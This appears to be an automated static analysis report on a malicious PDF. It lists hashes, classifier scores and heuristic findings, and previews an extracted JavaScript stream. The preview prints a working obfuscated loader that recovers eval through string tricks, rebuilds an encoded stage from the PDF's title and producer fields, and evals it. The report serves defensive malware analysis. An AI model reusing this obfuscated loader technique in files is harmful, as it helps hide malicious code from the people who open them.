Malicious PDF — malware analysis report

Static analysis result for SHA-256 ec48ea082aae202f…

MALICIOUS

PDF

15.9 KB Created: 2011-72-51 03:25:00 Authoring application: ring.fromCharCo First seen: 2026-05-09
MD5: b0f6c67e10afffe77f35b2d537b42147 SHA-1: 0b86a888264443896b686b33a092b4f384569a2c SHA-256: ec48ea082aae202f090c367fe547a739adee9f48b054dce1e405b87aef999b5f
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis detected embedded JavaScript, indicating an attempt to execute code. The presence of JavaScript actions and embedded JS streams suggests the file is designed to exploit a PDF vulnerability or download a secondary payload. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x3CF4 453 bytes
SHA-256: f75a1c7704f23caeada5205d98c81306418477455a125667e478975107f9de9b
Preview script
First 1,000 lines of the extracted script
var l = 'asd'.substr;
var g = l();
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var owsz="";
elrcv='his';
relng='ti';
e('kjs=t'+elrcv+"."+relng+function(){return 'tle'}());
chpth='["prod';
e('ifkub=t'+elrcv+chpth+function(){return 'ucer'}()+'"]');
xks=e('St'+ifkub+'de');
sgcp = e(kjs.replace(/k/g, ","));
e('k=sgcp.length');
for (i = 0; i < k; i++) {
	nso = (i%2)?sgcp[i]/5:sgcp[i]/17;
	owsz += xks(nso);
}
e(owsz);

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